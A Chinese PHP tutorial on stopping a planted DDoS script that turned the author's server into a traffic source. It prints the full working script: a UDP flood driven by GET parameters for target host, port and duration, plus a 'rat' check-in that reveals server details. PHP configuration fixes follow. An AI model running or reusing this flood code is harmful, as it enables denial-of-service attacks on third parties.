php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
Apache中php.ini的设置方法
Feb 28 PHP
解析关于java,php以及html的所有文件编码与乱码的处理方法汇总
Jun 24 PHP
使用PHP获取汉字的拼音(全部与首字母)
Jun 27 PHP
php把大写命名转换成下划线分割命名
Apr 27 PHP
PHP+Mysql+jQuery文件下载次数统计实例讲解
Oct 10 PHP
Yii实现简单分页的方法
Apr 29 PHP
Yii2 RESTful中api的使用及开发实例详解
Jul 06 PHP
phpcms中的评论样式修改方法
Oct 21 PHP
PHP中常用的魔术方法
Apr 28 PHP
thinkPHP微信分享接口JSSDK用法实例
Jul 07 PHP
关于php unset对json_encode的影响详解
Nov 14 PHP
laravel框架创建授权策略实例分析
Nov 22 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
php class中public,private,protected的区别以及实例分析
2013/06/18 PHP
php读取excel文件示例分享(更新修改excel)
2014/02/27 PHP
PHP经典面试题集锦
2015/03/19 PHP
javascript 单例/单体模式(Singleton)
2011/04/07 Javascript
JS+ACTIVEX实现网页选择本地目录路径对话框
2013/03/18 Javascript
javascript时间函数基础介绍
2013/03/28 Javascript
验证码在IE中不刷新而谷歌等浏览器正常的解决方案
2014/03/18 Javascript
巧方法 JavaScript获取超链接的绝对URL地址
2016/06/14 Javascript
JS拖动选择table里的单元格完整实例【基于jQuery】
2019/05/28 jQuery
原生js通过一行代码实现简易轮播图
2019/06/05 Javascript
vue封装可复用组件confirm,并绑定在vue原型上的示例
2019/10/31 Javascript
Python环境变量设置方法
2016/08/28 Python
python获取程序执行文件路径的方法(推荐)
2018/04/26 Python
PyTorch CNN实战之MNIST手写数字识别示例
2018/05/29 Python
python特性语法之遍历、公共方法、引用
2018/08/08 Python
python实现指定字符串补全空格、前面填充0的方法
2018/11/16 Python
使用 Python 玩转 GitHub 的贡献板(推荐)
2019/04/04 Python
Django之提交表单与前后端交互的方法
2019/07/19 Python
浅析python redis的连接及相关操作
2019/11/07 Python
Python 实现网课实时监控自动签到、打卡功能
2020/03/12 Python
Python try except异常捕获机制原理解析
2020/04/18 Python
如何实现更换Jupyter Notebook内核Python版本
2020/05/18 Python
纯CSS3实现地球自转实现代码(图文教程附送源码)
2012/12/26 HTML / CSS
html5使用canvas画一条线
2014/12/15 HTML / CSS
巴西儿童时尚购物网站:Dinda
2019/08/14 全球购物
巴西24小时在线药房:Drogasil
2020/06/20 全球购物
毕业生优秀推荐信
2013/11/26 职场文书
毕业生的自我评价
2013/12/30 职场文书
社区母亲节活动方案
2014/03/05 职场文书
介绍信格式
2015/01/30 职场文书
2015年超市员工工作总结
2015/05/04 职场文书
班主任开场白
2015/06/01 职场文书
教你怎么用Python实现GIF动图的提取及合成
2021/06/15 Python
css布局巧妙技巧之css三角示例的运用
2022/03/16 HTML / CSS
GTX1660显卡搭配显示器推荐
2022/04/19 数码科技
Linux下搭建SFTP服务器的命令详解
2022/06/25 Servers